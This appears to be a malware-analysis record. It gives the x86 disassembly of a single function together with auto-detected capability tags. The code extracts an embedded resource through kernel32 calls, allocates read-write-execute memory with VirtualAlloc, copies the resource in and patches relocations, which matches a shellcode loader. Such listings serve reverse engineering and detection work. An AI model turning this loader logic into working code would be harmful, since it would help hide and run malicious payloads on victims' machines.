Function at 0x100016c9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x100efdab
call fcn.100dd0fc
sub esp, 0x84
mov ecx, dword [0x10115b68]
push ebx
push esi
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 0x14], eax
xor ebx, ebx
cmp eax, ebx
je 0x10001951
mov al, byte [ebp - 0x25]
push ebx
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], al
call fcn.10002043
push dword [ebp - 0x14]
call fcn.100dcb10
pop ecx
push eax
lea ecx, [ebp - 0x24]
push dword [ebp - 0x14]
call fcn.100022b2
cmp dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
je 0x1000172d
lea ecx, [ebp - 0x24]
call fcn.10002017
mov eax, dword [ebp - 0x20]
jmp 0x10001732
mov eax, 0x100f7364
cmp byte [eax], 0x5f
jne 0x10001787
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x60]
push 0x1010873c
push eax
call fcn.10003578
add esp, 0xc
mov esi, eax
mov ecx, dword [0x10115b68]
push dword [ebp - 0x14]
mov byte [ebp - 4], 1
mov eax, dword [ecx]
call dword [eax + 8]
push esi
mov ecx, 0x10115b20
mov edi, eax
call fcn.10001d67
push 1
lea ecx, [ebp - 0x60]
mov dword [eax], edi
mov byte [ebp - 4], bl
call fcn.10002043
or dword [ebp - 4], 0xffffffff
push 1
jmp 0x10001936
cmp dword [ebp - 0x20], ebx
je 0x10001799
lea ecx, [ebp - 0x24]
call fcn.10002017
mov eax, dword [ebp - 0x20]
jmp 0x1000179e
mov eax, 0x100f7364
cmp byte [eax], 0x21
jne 0x100017db
push dword [0x100f7360]
lea eax, [ebp - 0x80]
lea ecx, [ebp - 0x24]
push 1
pop edi
push edi
push eax
call fcn.10001bf1
push dword [0x100f7360]
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 2
push ebx
push eax
call fcn.10001ec7
push edi
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], bl
call fcn.10002043
jmp 0x100017de
push 1
pop edi
cmp dword [ebp - 0x20], ebx
je 0x100017f0
lea ecx, [ebp - 0x24]
call fcn.10002017
mov eax, dword [ebp - 0x20]
jmp 0x100017f5
mov eax, 0x100f7364
movsx eax, byte [eax]
push eax
call fcn.100dd62d
test eax, eax
pop ecx
jne 0x1000183c
push dword [0x100f7360]
lea eax, [ebp - 0x90]
lea ecx, [ebp - 0x24]
push edi
push eax
call fcn.10001bf1
push dword [0x100f7360]
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 3
push ebx
push eax
call fcn.10001ec7
push edi
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], bl
call fcn.10002043
xor esi, esi
cmp dword [ebp - 0x1c], ebx
jbe 0x100018cc
cmp dword [ebp - 0x1c], esi
jb 0x10001860
cmp dword [ebp - 0x20], ebx
je 0x10001860
lea ecx, [ebp - 0x24]
call fcn.10002017
mov eax, dword [ebp - 0x20]
add eax, esi
jmp 0x10001865
mov eax, 0x100f7364
movsx eax, byte [eax]
push eax
call fcn.100dd62d
test eax, eax
pop ecx
jne 0x10001896
cmp dword [ebp - 0x1c], esi
jb 0x1000188c
cmp dword [ebp - 0x20], ebx
je 0x1000188c
lea ecx, [ebp - 0x24]
call fcn.10002017
mov eax, dword [ebp - 0x20]
add eax, esi
jmp 0x10001891
mov eax, 0x100f7364
cmp byte [eax], 0x5f
jne 0x1000189e
inc esi
cmp dword [ebp - 0x1c], esi
ja 0x1000184c
jmp 0x100018cc
push esi
lea eax, [ebp - 0x4c]
push ebx
push eax
lea ecx, [ebp - 0x24]
call fcn.10001bf1
push dword [0x100f7360]
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
push ebx
push eax
call fcn.10001ec7
push edi
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], bl
call fcn.10002043
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.10057fb0
push eax
lea eax, [ebp - 0x70]
push 0x10108738
push eax
mov byte [ebp - 4], 5
call fcn.10003578
add esp, 0xc
mov esi, eax
mov ecx, dword [0x10115b68]
push dword [ebp - 0x14]
mov byte [ebp - 4], 6
mov eax, dword [ecx]
call dword [eax + 8]
mov edx, eax
push esi
mov ecx, 0x10115b20
mov dword [ebp - 0x14], edx
call fcn.10001d67
mov ecx, dword [ebp - 0x14]
push edi
mov dword [eax], ecx
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 5
call fcn.10002043
push edi
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], bl
call fcn.10002043
or dword [ebp - 4], 0xffffffff
push edi
lea ecx, [ebp - 0x24]
call fcn.10002043
mov ecx, dword [0x10115b68]
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 0x14], eax
jmp 0x100016ec
push 0xa
push 0x457
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
jne 0x1000196a
call fcn.10001ac3
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
cmp esi, ebx
jne 0x1000197d
call fcn.10001ac3
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, ebx
mov dword [ebp - 0x10], eax
jne 0x10001990
call fcn.10001ac3
mov eax, dword [ebp - 0x10]
push 0x40
push 0x3000
mov esi, dword [eax]
add dword [ebp - 0x10], 4
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov dword [0x10115b60], eax
push dword [ebp - 0x10]
push eax
call fcn.100dd2d0
add dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x10]
add esp, 0xc
mov eax, dword [eax]
add dword [ebp - 0x10], 4
cmp eax, ebx
jle 0x10001a1a
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.10001adc
mov eax, dword [0x10115b60]
mov dword [ebp - 4], 7
cmp dword [ebp - 0x2c], eax
jl 0x100019f1
add eax, esi
cmp dword [ebp - 0x2c], eax
jl 0x100019f6
call fcn.10001ac3
lea eax, [ebp - 0x3c]
mov ecx, 0x10115b40
push eax
call fcn.10001d67
mov ecx, dword [ebp - 0x2c]
or dword [ebp - 4], 0xffffffff
mov dword [eax], ecx
push 1
lea ecx, [ebp - 0x3c]
call fcn.10002043
dec edi
jne 0x100019cc
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
add dword [ebp - 0x10], 4
cmp eax, ebx
jle 0x10001a5e
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.10001adc
mov esi, dword [ebp - 0x2c]
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 4], 8
call fcn.10001b6b
or dword [ebp - 4], 0xffffffff
sub eax, esi
add dword [esi], eax
push 1
lea ecx, [ebp - 0x3c]
call fcn.10002043
dec edi
jne 0x10001a29
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
add dword [ebp - 0x10], 4
cmp eax, ebx
jle 0x10001aa0
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.10001adc
mov esi, dword [ebp - 0x40]
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 4], 9
call fcn.10001b6b
add dword [esi], eax
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x50]
call fcn.10002043
dec edi
jne 0x10001a6d
mov ecx, 0x10115b20
call fcn.1000225d
mov ecx, 0x10115b40
call fcn.1000225d
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret